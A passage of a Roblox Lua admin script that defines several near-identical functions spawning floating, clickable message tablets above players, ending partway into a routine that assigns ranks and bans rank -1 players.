  10580. Sel = Instance.new("SelectionBox")
  10581. Sel.Color=BrickColor.new("White")
  10582. Sel.Adornee = Tab
  10583. Sel.Parent = Tab
  10584.  
  10585. local BG = Instance.new("BillboardGui")
  10586. BG.Name = "BG"
  10587. BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  10588. BG.Size = UDim2.new(0,1,0,1)
  10589. BG.Adornee = Tab
  10590. BG.Parent = Tab
  10591.  
  10592. Delay(0, function()
  10593. while BG.Parent ~= nil do wait()
  10594. ypcall(function()
  10595. BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  10596. end)
  10597. end
  10598. end)
  10599.  
  10600.  
  10601. local TL = Instance.new("TextLabel")
  10602. TL.Name = "TL"
  10603. TL.FontSize = "Size24"
  10604. TL.Font = "ArialBold"
  10605. TL.Text = Msg
  10606. TL.TextColor3 = Tab.Color
  10607. TL.Size = UDim2.new(0,2,0,2)
  10608. TL.TextTransparency = 0
  10609. TL.TextStrokeTransparency = 0
  10610. TL.Parent = BG
  10611.  
  10612. TL.Size = UDim2.new(0,1,0,1)
  10613. TL.TextTransparency = 0
  10614. TL.TextStrokeColor3 = Color3.new(255, 255, 255)
  10615. TL.TextStrokeTransparency = 0
  10616. TL.Parent = BG
  10617.  
  10618.  
  10619. local FTT = Instance.new("TextLabel", FTG)
  10620. FTT.Name = "FTT"
  10621. FTT.BackgroundTransparency = 1
  10622. FTT.Size = UDim2.new(0,1000,0,1000)
  10623. FTT.Font = "ArialBold"
  10624. FTT.FontSize = Enum.FontSize.Size24
  10625. FTT.Text = Msg
  10626. FTT.TextScaled = true
  10627. FTT.TextStrokeTransparency = 0
  10628. FTT.TextColor3 = Database.Colors.White
  10629. FTT.TextStrokeColor3 = Database.Colors.Black
  10630.  
  10631. local TRO = Instance.new("BodyVelocity", Tab)
  10632. TRO.maxForce = Vector3.new(40000000000, 40000000000, 40000000000)
  10633. TRO.P = 1250
  10634. TRO.velocity = Vector3.new(0,0.17,0)
  10635.  
  10636. local TLI = Instance.new("PointLight", Tab)
  10637. TLI.Brightness = 0.15
  10638. TLI.Range = 0.9
  10639. TLI.Shadows = true
  10640. if ShowGarbage == true then
  10641. Delay(0, function()
  10642. while TL.Parent ~= nil do
  10643. TL.Text = "Current Garbage Count: "..GetGarbage()
  10644. wait(.5)
  10645. end
  10646. end)
  10647. end
  10648. if Image ~= nil then
  10649. local BBBG = Instance.new("BillboardGui")
  10650. BBBG.Size = UDim2.new(5, 0, 6, 0)
  10651. BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  10652. BBBG.AlwaysOnTop = true
  10653. BBBG.Adornee = Tab
  10654. BBBG.Parent = Tab
  10655.  
  10656. Delay(0, function()
  10657. while BBBG.Parent ~= nil do wait()
  10658. ypcall(function()
  10659. BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  10660. end)
  10661. end
  10662. end)
  10663.  
  10664.  
  10665. local NewImg = Instance.new("ImageLabel")
  10666. NewImg.Size = UDim2.new(1, 0, 1, 0)
  10667. NewImg.BackgroundTransparency = 1
  10668. NewImg.Image = Image
  10669. NewImg.Parent = BBBG
  10670. end
  10671.  
  10672. local Clicker = Instance.new("ClickDetector")
  10673. Clicker.MaxActivationDistance = 1/0
  10674.  
  10675. if Time ~= nil then
  10676. coroutine.resume(coroutine.create(function()
  10677. wait(tonumber(Time))
  10678. Dismiss(Plr, ID)
  10679. end))
  10680. end
  10681.  
  10682. Clicker.MouseClick:connect(function(Player)
  10683. if Player.Name == Plr.Name or CanRun(Player, Plr) then
  10684. ypcall(function()
  10685. if Func ~= nil then
  10686. Func(Holder)
  10687. else
  10688. Dismiss(Player, ID)
  10689. end
  10690. end)
  10691. end
  10692. end)
  10693. Clicker.Parent = Tab
  10694.  
  10695. Holder.Parent = Work
  10696.  
  10697. AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID}
  10698. end)
  10699. end
  10700. end
  10701.  
  10702. function Output2(Msg, Plr, Time, Func, Color, Image)
  10703. if Removed == false then
  10704. local ShowGarbage = false
  10705. ypcall(function()
  10706. if Msg == nil then
  10707. Msg = "N/A"
  10708. elseif Msg == "ShowGarbage" then
  10709. Msg = "Current Garbage Count: "..GetGarbage()
  10710. ShowGarbage = true
  10711. else
  10712. Msg = tostring(Msg)
  10713. end
  10714. if Plr == nil then
  10715. Plr = Plrs[Owner] or error("No Player Found")
  10716. elseif type(Plr) == "string" then
  10717. local FoundPlr = false
  10718. for _,v in pairs(All()) do
  10719. if v.Name == Plr then
  10720. Plr = v
  10721. FoundPlr = true
  10722. break
  10723. end
  10724. end
  10725. if FoundPlr == false then
  10726. Plr = Plrs[Owner] or error("No Player Found")
  10727. end
  10728. end
  10729.  
  10730. local Holder = Instance.new("Model")
  10731. Holder.Name = "KKA"
  10732.  
  10733. local Tab = Instance.new("Part")
  10734. Tab.Name = "KKA Tablet"
  10735. Tab.FormFactor = "Custom"
  10736. Tab.Anchored = true
  10737. Tab.Color = BrickColor.new("Teal").Color
  10738. Tab.CanCollide = false
  10739. Tab.Locked = true
  10740. Tab.Transparency = 0.15
  10741. Tab.Size = Vector3.new(2.2,2.2,2.2)
  10742. Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(-8, -8, -8)
  10743. Tab.Parent = Holder
  10744.  
  10745. local BMO = Instance.new("BlockMesh")
  10746. BMO.Parent = Tab
  10747.  
  10748. local ID = Instance.new("NumberValue")
  10749. ID.Name = "ID"
  10750. ID.Value = math.random(-999999999, 999999999)
  10751. ID.Parent = Holder
  10752.  
  10753. --[[Delay(0, function()
  10754. while wait() do
  10755. if Tab.Parent == nil and FindTab(Holder) then
  10756. ypcall(function()
  10757. for i,v in pairs(AllTabs) do
  10758. if v.Holder == Holder then
  10759. ypcall(function() v.Holder:Destroy() end)
  10760. AllTabs[i] = nil
  10761. end
  10762. end
  10763. end)
  10764. Output2(Msg, Plr, Time, Func, Color, Image)
  10765. break
  10766. end
  10767. end
  10768. end)]]--
  10769.  
  10770. Sel = Instance.new("SelectionBox")
  10771. Sel.Color = BrickColor.new("White")
  10772. Sel.Transparency = 0.1
  10773. Sel.Adornee = Tab
  10774. Sel.Parent = Tab
  10775.  
  10776. local BG = Instance.new("BillboardGui")
  10777. BG.Name = "BG"
  10778. BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  10779. BG.Size = UDim2.new(0,0.6,00.6)
  10780. BG.Adornee = Tab
  10781. BG.Parent = Tab
  10782.  
  10783. Delay(0, function()
  10784. while BG.Parent ~= nil do wait()
  10785. ypcall(function()
  10786. BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  10787. end)
  10788. end
  10789. end)
  10790.  
  10791. local TL = Instance.new("TextLabel")
  10792. TL.Name = "TL"
  10793. TL.FontSize = "Size24"
  10794. TL.Font = "ArialBold"
  10795. TL.Text = Msg
  10796. TL.TextColor3 = Tab.Color
  10797. TL.Size = UDim2.new(0,2,0,2)
  10798. TL.TextTransparency = 0
  10799. TL.TextStrokeTransparency = 0
  10800. TL.Parent = BG
  10801.  
  10802. TL.Size = UDim2.new(0,1,0,1)
  10803. TL.TextTransparency = 0
  10804. TL.TextStrokeColor3 = Color3.new(255, 255, 255)
  10805. TL.TextStrokeTransparency = 0
  10806. TL.Parent = BG
  10807.  
  10808.  
  10809. local FTT = Instance.new("TextLabel", FTG)
  10810. FTT.Name = "FTT"
  10811. FTT.BackgroundTransparency = 1
  10812. FTT.Size = UDim2.new(0,1000,0,1000)
  10813. FTT.Font = "ArialBold"
  10814. FTT.FontSize = Enum.FontSize.Size24
  10815. FTT.Text = Msg
  10816. FTT.TextScaled = true
  10817. FTT.TextStrokeTransparency = 0
  10818. FTT.TextColor3 = BrickColor.new("Institutional white").Color
  10819. FTT.TextStrokeColor3 = BrickColor.new("Really black").Color
  10820.  
  10821. local TRO = Instance.new("BodyVelocity", Tab)
  10822. TRO.maxForce = Vector3.new(40000000000, 40000000000, 40000000000)
  10823. TRO.P = 1250
  10824. TRO.velocity = Vector3.new(0,0.17,0)
  10825.  
  10826. local TLI = Instance.new("PointLight", Tab)
  10827. TLI.Brightness = 0.15
  10828. TLI.Range = 0.9
  10829. TLI.Shadows = true
  10830. if ShowGarbage == true then
  10831. Delay(0, function()
  10832. while TL.Parent ~= nil do
  10833. TL.Text = "Current Garbage Count: "..GetGarbage()
  10834. wait(.5)
  10835. end
  10836. end)
  10837. end
  10838. if Image ~= nil then
  10839. local BBBG = Instance.new("BillboardGui")
  10840. BBBG.Size = UDim2.new(5, 0, 6, 0)
  10841. BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  10842. BBBG.AlwaysOnTop = true
  10843. BBBG.Adornee = Tab
  10844. BBBG.Parent = Tab
  10845.  
  10846. Delay(0, function()
  10847. while BBBG.Parent ~= nil do wait()
  10848. ypcall(function()
  10849. BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  10850. end)
  10851. end
  10852. end)
  10853.  
  10854.  
  10855. local NewImg = Instance.new("ImageLabel")
  10856. NewImg.Size = UDim2.new(1, 0, 1, 0)
  10857. NewImg.BackgroundTransparency = 1
  10858. NewImg.Image = Image
  10859. NewImg.Parent = BBBG
  10860. end
  10861.  
  10862.  
  10863. local Clicker = Instance.new("ClickDetector")
  10864. Clicker.MaxActivationDistance = 1/0
  10865.  
  10866. if Time ~= nil then
  10867. coroutine.resume(coroutine.create(function()
  10868. wait(tonumber(Time))
  10869. Dismiss(Plr, ID)
  10870. end))
  10871. end
  10872.  
  10873. Clicker.MouseClick:connect(function(Player)
  10874. if Player.Name == Plr.Name or CanRun(Player, Plr) then
  10875. ypcall(function()
  10876. if Func ~= nil then
  10877. Func(Holder)
  10878. else
  10879. Dismiss(Player, ID)
  10880. end
  10881. end)
  10882. end
  10883. end)
  10884. Clicker.Parent = Tab
  10885.  
  10886. Holder.Parent = Work
  10887.  
  10888. AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID, Rot = 0}
  10889. end)
  10890. end
  10891. end
  10892.  
  10893. function Output3(Msg, Plr, Time, Func, Color, Image)
  10894. if Removed == false then
  10895. local ShowGarbage = false
  10896. ypcall(function()
  10897. if Msg == nil then
  10898. Msg = "N/A"
  10899. elseif Msg == "ShowGarbage" then
  10900. Msg = "Current Garbage Count: "..GetGarbage()
  10901. ShowGarbage = true
  10902. else
  10903. Msg = tostring(Msg)
  10904. end
  10905. if Plr == nil then
  10906. Plr = Plrs[Owner] or error("No Player Found")
  10907. elseif type(Plr) == "string" then
  10908. local FoundPlr = false
  10909. for _,v in pairs(All()) do
  10910. if v.Name == Plr then
  10911. Plr = v
  10912. FoundPlr = true
  10913. break
  10914. end
  10915. end
  10916. if FoundPlr == false then
  10917. Plr = Plrs[Owner] or error("No Player Found")
  10918. end
  10919. end
  10920.  
  10921. local Holder = Instance.new("Model")
  10922. Holder.Name = "KKA"
  10923.  
  10924. local Tab = Instance.new("Part")
  10925. Tab.Name = "KKA Tablet"
  10926. Tab.FormFactor = "Custom"
  10927. Tab.Anchored = true
  10928. Tab.Color = BrickColor.new("Lime green").Color
  10929. Tab.CanCollide = false
  10930. Tab.Locked = true
  10931. Tab.Transparency = 0.15
  10932. Tab.Size = Vector3.new(2.2,2.2,2.2)
  10933. Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(-8, -8, -8)
  10934. Tab.Parent = Holder
  10935.  
  10936. local BMO = Instance.new("BlockMesh")
  10937. BMO.Parent = Tab
  10938.  
  10939. local ID = Instance.new("NumberValue")
  10940. ID.Name = "ID"
  10941. ID.Value = math.random(-999999999, 999999999)
  10942. ID.Parent = Holder
  10943.  
  10944. --[[Delay(0, function()
  10945. while wait() do
  10946. if Tab.Parent == nil and FindTab(Holder) then
  10947. ypcall(function()
  10948. for i,v in pairs(AllTabs) do
  10949. if v.Holder == Holder then
  10950. ypcall(function() v.Holder:Destroy() end)
  10951. AllTabs[i] = nil
  10952. end
  10953. end
  10954. end)
  10955. Output2(Msg, Plr, Time, Func, Color, Image)
  10956. break
  10957. end
  10958. end
  10959. end)]]--
  10960.  
  10961. Sel = Instance.new("SelectionBox")
  10962. Sel.Color = BrickColor.new("White")
  10963. Sel.Transparency = 0.1
  10964. Sel.Adornee = Tab
  10965. Sel.Parent = Tab
  10966.  
  10967. local BG = Instance.new("BillboardGui")
  10968. BG.Name = "BG"
  10969. BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  10970. BG.Size = UDim2.new(0,0.6,00.6)
  10971. BG.Adornee = Tab
  10972. BG.Parent = Tab
  10973.  
  10974. Delay(0, function()
  10975. while BG.Parent ~= nil do wait()
  10976. ypcall(function()
  10977. BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  10978. end)
  10979. end
  10980. end)
  10981.  
  10982. local TL = Instance.new("TextLabel")
  10983. TL.Name = "TL"
  10984. TL.FontSize = "Size24"
  10985. TL.Font = "ArialBold"
  10986. TL.Text = Msg
  10987. TL.TextColor3 = Tab.Color
  10988. TL.Size = UDim2.new(0,2,0,2)
  10989. TL.TextTransparency = 0
  10990. TL.TextStrokeTransparency = 0
  10991. TL.Parent = BG
  10992.  
  10993. TL.Size = UDim2.new(0,1,0,1)
  10994. TL.TextTransparency = 0
  10995. TL.TextStrokeColor3 = Color3.new(255, 255, 255)
  10996. TL.TextStrokeTransparency = 0
  10997. TL.Parent = BG
  10998.  
  10999.  
  11000. local FTT = Instance.new("TextLabel", FTG)
  11001. FTT.Name = "FTT"
  11002. FTT.BackgroundTransparency = 1
  11003. FTT.Size = UDim2.new(0,1000,0,1000)
  11004. FTT.Font = "ArialBold"
  11005. FTT.FontSize = Enum.FontSize.Size24
  11006. FTT.Text = Msg
  11007. FTT.TextScaled = true
  11008. FTT.TextStrokeTransparency = 0
  11009. FTT.TextColor3 = BrickColor.new("Institutional white").Color
  11010. FTT.TextStrokeColor3 = BrickColor.new("Really black").Color
  11011.  
  11012. local TRO = Instance.new("BodyVelocity", Tab)
  11013. TRO.maxForce = Vector3.new(40000000000, 40000000000, 40000000000)
  11014. TRO.P = 1250
  11015. TRO.velocity = Vector3.new(0,0.17,0)
  11016.  
  11017. local TLI = Instance.new("PointLight", Tab)
  11018. TLI.Brightness = 0.15
  11019. TLI.Range = 0.9
  11020. TLI.Shadows = true
  11021. if ShowGarbage == true then
  11022. Delay(0, function()
  11023. while TL.Parent ~= nil do
  11024. TL.Text = "Current Garbage Count: "..GetGarbage()
  11025. wait(.5)
  11026. end
  11027. end)
  11028. end
  11029. if Image ~= nil then
  11030. local BBBG = Instance.new("BillboardGui")
  11031. BBBG.Size = UDim2.new(5, 0, 6, 0)
  11032. BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  11033. BBBG.AlwaysOnTop = true
  11034. BBBG.Adornee = Tab
  11035. BBBG.Parent = Tab
  11036.  
  11037. Delay(0, function()
  11038. while BBBG.Parent ~= nil do wait()
  11039. ypcall(function()
  11040. BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  11041. end)
  11042. end
  11043. end)
  11044.  
  11045.  
  11046. local NewImg = Instance.new("ImageLabel")
  11047. NewImg.Size = UDim2.new(1, 0, 1, 0)
  11048. NewImg.BackgroundTransparency = 1
  11049. NewImg.Image = Image
  11050. NewImg.Parent = BBBG
  11051. end
  11052.  
  11053.  
  11054. local Clicker = Instance.new("ClickDetector")
  11055. Clicker.MaxActivationDistance = 1/0
  11056.  
  11057. if Time ~= nil then
  11058. coroutine.resume(coroutine.create(function()
  11059. wait(tonumber(Time))
  11060. Dismiss(Plr, ID)
  11061. end))
  11062. end
  11063.  
  11064. Clicker.MouseClick:connect(function(Player)
  11065. if Player.Name == Plr.Name or CanRun(Player, Plr) then
  11066. ypcall(function()
  11067. if Func ~= nil then
  11068. Func(Holder)
  11069. else
  11070. Dismiss(Player, ID)
  11071. end
  11072. end)
  11073. end
  11074. end)
  11075. Clicker.Parent = Tab
  11076.  
  11077. Holder.Parent = Work
  11078.  
  11079. AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID, Rot = 0}
  11080. end)
  11081. end
  11082. end
  11083. function Output4(Msg, Plr, Time, Func, Color, Image)
  11084. if Removed == false then
  11085. local ShowGarbage = false
  11086. ypcall(function()
  11087. if Msg == nil then
  11088. Msg = "N/A"
  11089. elseif Msg == "ShowGarbage" then
  11090. Msg = "Current Garbage Count: "..GetGarbage()
  11091. ShowGarbage = true
  11092. else
  11093. Msg = tostring(Msg)
  11094. end
  11095. if Plr == nil then
  11096. Plr = Plrs[Owner] or error("No Player Found")
  11097. elseif type(Plr) == "string" then
  11098. local FoundPlr = false
  11099. for _,v in pairs(All()) do
  11100. if v.Name == Plr then
  11101. Plr = v
  11102. FoundPlr = true
  11103. break
  11104. end
  11105. end
  11106. if FoundPlr == false then
  11107. Plr = Plrs[Owner] or error("No Player Found")
  11108. end
  11109. end
  11110.  
  11111. local Holder = Instance.new("Model")
  11112. Holder.Name = "KKA"
  11113.  
  11114. local Tab = Instance.new("Part")
  11115. Tab.Name = "KKA Tablet"
  11116. Tab.FormFactor = "Custom"
  11117. Tab.Anchored = true
  11118. Tab.Color = BrickColor.new("White").Color
  11119. Tab.CanCollide = false
  11120. Tab.Locked = true
  11121. Tab.Transparency = 0.15
  11122. Tab.Size = Vector3.new(2.2,2.2,2.2)
  11123. Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(-8, -8, -8)
  11124. Tab.Parent = Holder
  11125.  
  11126. local BMO = Instance.new("BlockMesh")
  11127. BMO.Parent = Tab
  11128.  
  11129. local ID = Instance.new("NumberValue")
  11130. ID.Name = "ID"
  11131. ID.Value = math.random(-999999999, 999999999)
  11132. ID.Parent = Holder
  11133.  
  11134. --[[Delay(0, function()
  11135. while wait() do
  11136. if Tab.Parent == nil and FindTab(Holder) then
  11137. ypcall(function()
  11138. for i,v in pairs(AllTabs) do
  11139. if v.Holder == Holder then
  11140. ypcall(function() v.Holder:Destroy() end)
  11141. AllTabs[i] = nil
  11142. end
  11143. end
  11144. end)
  11145. Output2(Msg, Plr, Time, Func, Color, Image)
  11146. break
  11147. end
  11148. end
  11149. end)]]--
  11150.  
  11151. Sel = Instance.new("SelectionBox")
  11152. Sel.Color = BrickColor.new("White")
  11153. Sel.Transparency = 0.1
  11154. Sel.Adornee = Tab
  11155. Sel.Parent = Tab
  11156.  
  11157. local BG = Instance.new("BillboardGui")
  11158. BG.Name = "BG"
  11159. BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  11160. BG.Size = UDim2.new(0,0.6,00.6)
  11161. BG.Adornee = Tab
  11162. BG.Parent = Tab
  11163.  
  11164. Delay(0, function()
  11165. while BG.Parent ~= nil do wait()
  11166. ypcall(function()
  11167. BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  11168. end)
  11169. end
  11170. end)
  11171.  
  11172. local TL = Instance.new("TextLabel")
  11173. TL.Name = "TL"
  11174. TL.FontSize = "Size24"
  11175. TL.Font = "ArialBold"
  11176. TL.Text = Msg
  11177. TL.TextColor3 = Tab.Color
  11178. TL.Size = UDim2.new(0,2,0,2)
  11179. TL.TextTransparency = 0
  11180. TL.TextStrokeTransparency = 0
  11181. TL.Parent = BG
  11182.  
  11183. TL.Size = UDim2.new(0,1,0,1)
  11184. TL.TextTransparency = 0
  11185. TL.TextStrokeColor3 = Color3.new(255, 255, 255)
  11186. TL.TextStrokeTransparency = 0
  11187. TL.Parent = BG
  11188.  
  11189.  
  11190. local FTT = Instance.new("TextLabel", FTG)
  11191. FTT.Name = "FTT"
  11192. FTT.BackgroundTransparency = 1
  11193. FTT.Size = UDim2.new(0,1000,0,1000)
  11194. FTT.Font = "ArialBold"
  11195. FTT.FontSize = Enum.FontSize.Size24
  11196. FTT.Text = Msg
  11197. FTT.TextScaled = true
  11198. FTT.TextStrokeTransparency = 0
  11199. FTT.TextColor3 = BrickColor.new("Institutional white").Color
  11200. FTT.TextStrokeColor3 = BrickColor.new("Really black").Color
  11201.  
  11202. local TRO = Instance.new("BodyVelocity", Tab)
  11203. TRO.maxForce = Vector3.new(40000000000, 40000000000, 40000000000)
  11204. TRO.P = 1250
  11205. TRO.velocity = Vector3.new(0,0.17,0)
  11206.  
  11207. local TLI = Instance.new("PointLight", Tab)
  11208. TLI.Brightness = 0.15
  11209. TLI.Range = 0.9
  11210. TLI.Shadows = true
  11211. if ShowGarbage == true then
  11212. Delay(0, function()
  11213. while TL.Parent ~= nil do
  11214. TL.Text = "Current Garbage Count: "..GetGarbage()
  11215. wait(.5)
  11216. end
  11217. end)
  11218. end
  11219. if Image ~= nil then
  11220. local BBBG = Instance.new("BillboardGui")
  11221. BBBG.Size = UDim2.new(5, 0, 6, 0)
  11222. BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  11223. BBBG.AlwaysOnTop = true
  11224. BBBG.Adornee = Tab
  11225. BBBG.Parent = Tab
  11226.  
  11227. Delay(0, function()
  11228. while BBBG.Parent ~= nil do wait()
  11229. ypcall(function()
  11230. BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  11231. end)
  11232. end
  11233. end)
  11234.  
  11235.  
  11236. local NewImg = Instance.new("ImageLabel")
  11237. NewImg.Size = UDim2.new(1, 0, 1, 0)
  11238. NewImg.BackgroundTransparency = 1
  11239. NewImg.Image = Image
  11240. NewImg.Parent = BBBG
  11241. end
  11242.  
  11243.  
  11244. local Clicker = Instance.new("ClickDetector")
  11245. Clicker.MaxActivationDistance = 1/0
  11246.  
  11247. if Time ~= nil then
  11248. coroutine.resume(coroutine.create(function()
  11249. wait(tonumber(Time))
  11250. Dismiss(Plr, ID)
  11251. end))
  11252. end
  11253.  
  11254. Clicker.MouseClick:connect(function(Player)
  11255. if Player.Name == Plr.Name or CanRun(Player, Plr) then
  11256. ypcall(function()
  11257. if Func ~= nil then
  11258. Func(Holder)
  11259. else
  11260. Dismiss(Player, ID)
  11261. end
  11262. end)
  11263. end
  11264. end)
  11265. Clicker.Parent = Tab
  11266.  
  11267. Holder.Parent = Work
  11268.  
  11269. AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID, Rot = 0}
  11270. end)
  11271. end
  11272. end
  11273.  
  11274. function Output5(Msg, Plr, Time, Func, Color, Image)
  11275. if Removed == false then
  11276. local ShowGarbage = false
  11277. ypcall(function()
  11278. if Msg == nil then
  11279. Msg = "N/A"
  11280. elseif Msg == "ShowGarbage" then
  11281. Msg = "Current Garbage Count: "..GetGarbage()
  11282. ShowGarbage = true
  11283. else
  11284. Msg = tostring(Msg)
  11285. end
  11286. if Plr == nil then
  11287. Plr = Plrs[Owner] or error("No Player Found")
  11288. elseif type(Plr) == "string" then
  11289. local FoundPlr = false
  11290. for _,v in pairs(All()) do
  11291. if v.Name == Plr then
  11292. Plr = v
  11293. FoundPlr = true
  11294. break
  11295. end
  11296. end
  11297. if FoundPlr == false then
  11298. Plr = Plrs[Owner] or error("No Player Found")
  11299. end
  11300. end
  11301.  
  11302. local Holder = Instance.new("Model")
  11303. Holder.Name = "KKA"
  11304.  
  11305. local Tab = Instance.new("Part")
  11306. Tab.Name = "KKA Tablet"
  11307. Tab.FormFactor = "Custom"
  11308. Tab.Anchored = true
  11309. Tab.Color = BrickColor.new("Navy blue").Color
  11310. Tab.CanCollide = false
  11311. Tab.Locked = true
  11312. Tab.Transparency = 0.15
  11313. Tab.Size = Vector3.new(2.2,2.2,2.2)
  11314. Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(-8, -8, -8)
  11315. Tab.Parent = Holder
  11316.  
  11317. local BMO = Instance.new("BlockMesh")
  11318. BMO.Parent = Tab
  11319.  
  11320. local ID = Instance.new("NumberValue")
  11321. ID.Name = "ID"
  11322. ID.Value = math.random(-999999999, 999999999)
  11323. ID.Parent = Holder
  11324.  
  11325. --[[Delay(0, function()
  11326. while wait() do
  11327. if Tab.Parent == nil and FindTab(Holder) then
  11328. ypcall(function()
  11329. for i,v in pairs(AllTabs) do
  11330. if v.Holder == Holder then
  11331. ypcall(function() v.Holder:Destroy() end)
  11332. AllTabs[i] = nil
  11333. end
  11334. end
  11335. end)
  11336. Output2(Msg, Plr, Time, Func, Color, Image)
  11337. break
  11338. end
  11339. end
  11340. end)]]--
  11341.  
  11342. Sel = Instance.new("SelectionBox")
  11343. Sel.Color = BrickColor.new("White")
  11344. Sel.Transparency = 0.1
  11345. Sel.Adornee = Tab
  11346. Sel.Parent = Tab
  11347.  
  11348. local BG = Instance.new("BillboardGui")
  11349. BG.Name = "BG"
  11350. BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  11351. BG.Size = UDim2.new(0,0.6,00.6)
  11352. BG.Adornee = Tab
  11353. BG.Parent = Tab
  11354.  
  11355. Delay(0, function()
  11356. while BG.Parent ~= nil do wait()
  11357. ypcall(function()
  11358. BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  11359. end)
  11360. end
  11361. end)
  11362.  
  11363. local TL = Instance.new("TextLabel")
  11364. TL.Name = "TL"
  11365. TL.FontSize = "Size24"
  11366. TL.Font = "ArialBold"
  11367. TL.Text = Msg
  11368. TL.TextColor3 = Tab.Color
  11369. TL.Size = UDim2.new(0,2,0,2)
  11370. TL.TextTransparency = 0
  11371. TL.TextStrokeTransparency = 0
  11372. TL.Parent = BG
  11373.  
  11374. TL.Size = UDim2.new(0,1,0,1)
  11375. TL.TextTransparency = 0
  11376. TL.TextStrokeColor3 = Color3.new(255, 255, 255)
  11377. TL.TextStrokeTransparency = 0
  11378. TL.Parent = BG
  11379.  
  11380.  
  11381. local FTT = Instance.new("TextLabel", FTG)
  11382. FTT.Name = "FTT"
  11383. FTT.BackgroundTransparency = 1
  11384. FTT.Size = UDim2.new(0,1000,0,1000)
  11385. FTT.Font = "ArialBold"
  11386. FTT.FontSize = Enum.FontSize.Size24
  11387. FTT.Text = Msg
  11388. FTT.TextScaled = true
  11389. FTT.TextStrokeTransparency = 0
  11390. FTT.TextColor3 = BrickColor.new("Institutional white").Color
  11391. FTT.TextStrokeColor3 = BrickColor.new("Really black").Color
  11392.  
  11393. local TRO = Instance.new("BodyVelocity", Tab)
  11394. TRO.maxForce = Vector3.new(40000000000, 40000000000, 40000000000)
  11395. TRO.P = 1250
  11396. TRO.velocity = Vector3.new(0,0.17,0)
  11397.  
  11398. local TLI = Instance.new("PointLight", Tab)
  11399. TLI.Brightness = 0.15
  11400. TLI.Range = 0.9
  11401. TLI.Shadows = true
  11402. if ShowGarbage == true then
  11403. Delay(0, function()
  11404. while TL.Parent ~= nil do
  11405. TL.Text = "Current Garbage Count: "..GetGarbage()
  11406. wait(.5)
  11407. end
  11408. end)
  11409. end
  11410. if Image ~= nil then
  11411. local BBBG = Instance.new("BillboardGui")
  11412. BBBG.Size = UDim2.new(5, 0, 6, 0)
  11413. BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  11414. BBBG.AlwaysOnTop = true
  11415. BBBG.Adornee = Tab
  11416. BBBG.Parent = Tab
  11417.  
  11418. Delay(0, function()
  11419. while BBBG.Parent ~= nil do wait()
  11420. ypcall(function()
  11421. BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  11422. end)
  11423. end
  11424. end)
  11425.  
  11426.  
  11427. local NewImg = Instance.new("ImageLabel")
  11428. NewImg.Size = UDim2.new(1, 0, 1, 0)
  11429. NewImg.BackgroundTransparency = 1
  11430. NewImg.Image = Image
  11431. NewImg.Parent = BBBG
  11432. end
  11433.  
  11434.  
  11435. local Clicker = Instance.new("ClickDetector")
  11436. Clicker.MaxActivationDistance = 1/0
  11437.  
  11438. if Time ~= nil then
  11439. coroutine.resume(coroutine.create(function()
  11440. wait(tonumber(Time))
  11441. Dismiss(Plr, ID)
  11442. end))
  11443. end
  11444.  
  11445. Clicker.MouseClick:connect(function(Player)
  11446. if Player.Name == Plr.Name or CanRun(Player, Plr) then
  11447. ypcall(function()
  11448. if Func ~= nil then
  11449. Func(Holder)
  11450. else
  11451. Dismiss(Player, ID)
  11452. end
  11453. end)
  11454. end
  11455. end)
  11456. Clicker.Parent = Tab
  11457.  
  11458. Holder.Parent = Work
  11459.  
  11460. AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID, Rot = 0}
  11461. end)
  11462. end
  11463. end
  11464.  
  11465.  
  11466. function SystemPut(Msg, Speaker)
  11467. if FindRank(Speaker) > 0 then
  11468. Output(Msg, Speaker)
  11469. end
  11470. end
  11471. function PlaceAllRanks(DontShowRank)
  11472. ypcall(function()
  11473. for _,p in pairs(All()) do
  11474. ypcall(function()
  11475. PutInRank = false
  11476. for _,v in pairs(Ranked) do
  11477. if v.Name:lower() == p.Name:lower() then
  11478. if v.Rank >= 7 and v.Color ~= Color3.new(0,1,1) then
  11479. v.Rank = 7
  11480. elseif v.Rank == -1 then
  11481. Crash1(p)
  11482. Output("Banned "..p.Name.." from the game", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  11483. elseif v.Rank == -2 then
  11484. if LSource ~= nil then
